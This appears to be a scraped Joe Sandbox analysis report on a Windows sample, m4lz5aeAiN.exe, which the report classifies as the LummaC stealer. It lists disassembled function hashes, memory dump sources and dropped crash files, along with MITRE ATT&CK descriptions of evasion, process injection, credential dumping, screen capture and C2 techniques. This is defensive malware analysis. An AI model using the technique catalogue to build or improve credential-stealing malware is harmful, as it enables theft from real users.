Instruction ID: 7a876a2c60bca0f2cdbf5602ee795564f012ddba66bcd6487104468e4ee2defb
Opcode Fuzzy Hash: 0199799e75cbd837ee7f3b361dc18108ad832d3bad261f098223bc718b25986b
Instruction Fuzzy Hash: 8821A3769583A04BE3348F359C953EBBBE2ABC2314F59C62CC8D957284DB761805CBC1

Function 0043A230 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 34218d49f98f4d04757d6d7688404ab739ac49d953720a668d3546879b641f63
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 7411EC336491D40EC7158D3C8400566BF930A97735F1993DAF4F4973D2D52B8D8E835A

Function 0216A497 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 523aaf64956f4b15b4c41376d3d66e07c1c09b70803657291fb1b8c2a8ceff06
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: A111A533A491D40EC3168D3C8818579BFE30E93535F5D8399F8B9AB2D2D7238D8A8755

Function 0042C5E0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b0bd2af23d8aba3338285f4a2fcfdf2a171a9890d65b304db72d3eef606dba8
Instruction ID: e2b1fa06f32b2fd48b90287ee0e38661db697dc0127cfdde8b5722762f88e760
Opcode Fuzzy Hash: 5b0bd2af23d8aba3338285f4a2fcfdf2a171a9890d65b304db72d3eef606dba8
Instruction Fuzzy Hash: 440192F170171197DA209E15A5C172BB2A85F90708F18543ED84457342EB7DEC08C2DD

Function 0215C847 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac742f35869d0ed4235e03d9c95948d21c80b525ab38d32b7d308f9413da626c
Instruction ID: dbdcfae796f2b02047b9211e80f425a1af48463bf9d3e07568a9df5983f89254
Opcode Fuzzy Hash: ac742f35869d0ed4235e03d9c95948d21c80b525ab38d32b7d308f9413da626c
Instruction Fuzzy Hash: C901D4F1A807118BD7319F5488C0B37B2BA6F80728F08407DDC2957640DBBAE805DBD1

Function 02145202 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 298ad0f31f07e6cbc3fafda3465d78227824978fe87ca002a14543de39e85b0e
Instruction ID: 89e564b293d8fad1978c3aa2587c901d192ae593167175b9769584c224b2ac00
Opcode Fuzzy Hash: 298ad0f31f07e6cbc3fafda3465d78227824978fe87ca002a14543de39e85b0e
Instruction Fuzzy Hash: F1F0243AA4C7508FE3008EE8C48436BFBD3EB81304F19947DC6C4A7180CAB988818B92

Function 0213275E Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e90889bea583965d5caf57eaac281fb9adadddb4774545dd124efcdbcc5e77d5
Instruction ID: 07fc05d954ff3ec69728e40f55dde231e74d25d42d8402a21ca9d901c4590e39
Opcode Fuzzy Hash: e90889bea583965d5caf57eaac281fb9adadddb4774545dd124efcdbcc5e77d5
Instruction Fuzzy Hash: ABF05C625881504FC71A1E5988E03F4F3A75B9731471895ADD8D147259C731DD4AC758

Function 0214921E Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 171e36fd424bda3a0986d43e2945777b52d37d187c2806a166bc1c3e11cd69f4
Instruction ID: 7b920a6b867cbe1da6129f5d98bbbd890ad24f638a634e0ad7e861139905b5d1
Opcode Fuzzy Hash: 171e36fd424bda3a0986d43e2945777b52d37d187c2806a166bc1c3e11cd69f4
Instruction Fuzzy Hash: 95F08CB5A00206EFCF209F44C841AA7BBB5FF8A350F044456FC898B230EB31C961DB56

Function 0216EA3F Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53e1be47eb7fcb08e4cbd52fc7e03711af06ea58593d8f6f322e6d4cad867a7e
Instruction ID: 0be4aaf3768ac37ea5edc070a4bbf9ac4dfb213b2ad54fa0f20346f8039a1a09
Opcode Fuzzy Hash: 53e1be47eb7fcb08e4cbd52fc7e03711af06ea58593d8f6f322e6d4cad867a7e
Instruction Fuzzy Hash: 44F03932A193549BC310DF258A1136BF7E1BFC6B04F49D869D4D997211E278C5428756

Function 0041F3E0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 65b04920acd8ec40befbc16cdab85cd19ddd64fc0dfac740f80379ed40623b4a
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 7CD0A7715487B50E57588D3C44A04BBFBE8E987712B1814AFE8D6E3206D225DC47469D

Function 0214F647 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 428fdc2e071c86b8d647964d2eabbd68ea719474582133d82dc7e53ae94eff20
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: FED097205883A00E57088E3804A0837FBE4EA43112B08208EE0DDE3614C321D802829C

Function 02158EB2 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cb6986d49f719985d39046bb9c9820c9f7ea8fbe7571d132dc76052a6f0b540
Instruction ID: ad7c06e57a303dba94bcd7d2aa197efc7e92ac1f9ab750114ca6719ae142e1d8
Opcode Fuzzy Hash: 1cb6986d49f719985d39046bb9c9820c9f7ea8fbe7571d132dc76052a6f0b540
Instruction Fuzzy Hash: 77B048389482409B9604CF00E88042AF375AA8B200F14A418E84933310CA30E8008A89

Function 00425560 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 123COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0042561D

Strings

MO, xrefs: 00425572
$%, xrefs: 004255A6
p:#, xrefs: 00425647

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: $%$p:#$MO
API String ID: 237503144-3521940197
Opcode ID: 23a9facff3ed32d27b45f5c78396115d40fb07a2703201d84f017c1d29451edb
Instruction ID: 81944db62257c61826c9772faf3d9c506449667b4075365b7c5b7f4bc0eeec7d
Opcode Fuzzy Hash: 23a9facff3ed32d27b45f5c78396115d40fb07a2703201d84f017c1d29451edb
Instruction Fuzzy Hash: 6141DF365183448FE310CF24C88475FBBE2FFC5758F16892CE4D49B680D6B9CA0A8B86

Function 021557C7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 123COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 02155884

Strings

MO, xrefs: 021557D9
p:#, xrefs: 021558AE
$%, xrefs: 0215580D

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: $%$p:#$MO
API String ID: 237503144-3521940197
Opcode ID: 23a9facff3ed32d27b45f5c78396115d40fb07a2703201d84f017c1d29451edb
Instruction ID: 5bd0408cbdefbf4883d66ab54f09cbf220fe7c1bc20ecd67dc477070c8576649
Opcode Fuzzy Hash: 23a9facff3ed32d27b45f5c78396115d40fb07a2703201d84f017c1d29451edb
Instruction Fuzzy Hash: 4D41CE365583448BE310CF25C88475FBBE2FBC5758F16892CE4D49B680C7B9CA0A8B82

Function 0040C050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00408CEE), ref: 0040C056
FreeLibrary.KERNEL32 ref: 0040C077

Strings

#v, xrefs: 0040C056, 0040C077

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: FreeLibrary
String ID: #v
API String ID: 3664257935-554117064
Opcode ID: 27da7d1ecd683459e61e314d26d97e783c391c34258efece46d9df52749a6e00
Instruction ID: 0ef2ccba0a006ca6fcd7738bd7119b4b32ceb5ba17d334e5b7befb7630811a2c
Opcode Fuzzy Hash: 27da7d1ecd683459e61e314d26d97e783c391c34258efece46d9df52749a6e00
Instruction Fuzzy Hash: 07C04C3D810404DFEF117FB7FE098183AB1FB4273A3140834F40241036DA264921EB1D

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report m4lz5aeAiN.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_m4lz5aeAiN.exe_4785beaf3029da8b753e65a1f33d768e5b217e_6edf4eb4_3a45cf96-a787-465e-a1ac-e44b7599ae44\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2AA1.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E2C.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E4C.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Windows Analysis Report
m4lz5aeAiN.exe

Function 0043D0D0 Relevance: 32.5, APIs: 11, Strings: 7, Instructions: 957
memorycomCOMMON

Function 00421B30 Relevance: 10.5, Strings: 8, Instructions: 527
COMMON

Function 00408A60 Relevance: 7.7, APIs: 5, Instructions: 216
threadCOMMON

Function 0040C080 Relevance: 6.4, Strings: 5, Instructions: 104
COMMON

Function 00418BA2 Relevance: 5.4, Strings: 4, Instructions: 367
COMMON

Function 00422370 Relevance: 4.2, Strings: 3, Instructions: 457
COMMON

Function 005D07A6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 0213003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Function 004423C5 Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Function 02130E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON